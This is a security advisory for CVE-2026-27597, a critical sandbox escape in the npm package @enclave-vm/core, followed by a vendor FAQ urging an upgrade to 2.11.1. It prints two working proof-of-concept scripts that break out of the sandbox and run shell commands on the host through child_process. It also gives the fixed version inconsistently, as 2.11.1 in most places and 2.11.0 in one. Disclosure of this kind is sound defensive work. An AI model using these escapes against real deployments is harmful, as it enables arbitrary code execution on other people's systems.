CVE-2026-27597

It is possible to escape the security boundraries set by @enclave-vm/core, which can be used to achieve remote code execution (RCE).

The issue has been fixed in version 2.11.1.

Details

It is possible to obtain the native Object constructor (instead of the SafeObject wrapper). This can be used to get retrieve property descriptors via Object.getOwnPropertyDescriptors, allowing access to properties otherwise restricted by the sandbox.

When a memory limit is set (which is the default), __host_memory_track__, a host object, can be used to escape via the host function constructor.

When this is not the case, a host reference can be obtained via Node's nodejs.util.inspect.custom symbol (which can be triggered, for example, through console.log).

Proof of Concept

PoC 1

const { Enclave } = require("@enclave-vm/core");

const enclave = new Enclave({
  securityLevel: "SECURE",
  toolHandler: () => {},
});

const result = enclave.run(`
const op = {}[["__proto__"]];
const ho = op[["constructor"]];

const glob = ho.getOwnPropertyDescriptors(this);

return {
  res: glob.__host_memory_track__.value[["constructor"]]("return process")()
    .getBuiltinModule("child_process")
    .execSync("id")
    .toString()
    .split("\\n"),
};`);

result
  .then((v) => console.log("success", v))
  .catch((e) => console.log("failure", e));

PoC 2

const { Enclave } = require("@enclave-vm/core");

const enclave = new Enclave({
  securityLevel: "STRICT",
  toolHandler: () => {},
  memoryLimit: 0,
});

const result = enclave.run(`
const op = {}[['__proto__']];
const ho = op[['constructor']];

const glob = ho.getOwnPropertyDescriptors(this);

const sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom');

let result;
const obj = {
  [sym]: (depth, option, inspect) => {
    result = inspect[['constructor']]
      [['constructor']]('return process')()
      .getBuiltinModule('child_process')
      .execSync('id')
      .toString();
  },
};

glob.__safe_console.value.log(obj);
return { result }
`);

result
  .then((v) => console.log("success", v))
  .catch((e) => console.log("failure", e));

Credit

Enclave would like to thank @c0rydoras for responsibly reporting this issue and for providing detailed proof-of-concept examples.

This vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.

This constitutes Remote Code Execution (RCE) and should be considered Critical severity.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-27597 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.11.1); upgrading removes the vulnerable code path.

Kodem intelligence

The issue has been fixed in v2.11.0 with the following hardening measures:

• Strengthened intrinsic object isolation
• Improved console isolation
• Hardened host callback exposure paths
• Closed AST validation gaps
• Added additional defensive checks around constructor access and prototype traversal

All known escape paths demonstrated in the PoCs are now blocked.

Users are strongly advised to upgrade to v2.11.1 or later immediately.

1. What is CVE-2026-27597? CVE-2026-27597 is a critical-severity code injection vulnerability in @enclave-vm/core (npm), affecting versions <= 2.10.1. It is fixed in 2.11.1. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2026-27597? CVE-2026-27597 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @enclave-vm/core are affected by CVE-2026-27597? @enclave-vm/core (npm) versions <= 2.10.1 is affected.
4. Is there a fix for CVE-2026-27597? Yes. CVE-2026-27597 is fixed in 2.11.1. Upgrade to this version or later.
5. Is CVE-2026-27597 exploitable, and should I be worried? Whether CVE-2026-27597 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-27597 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-27597? Upgrade @enclave-vm/core to 2.11.1 or later.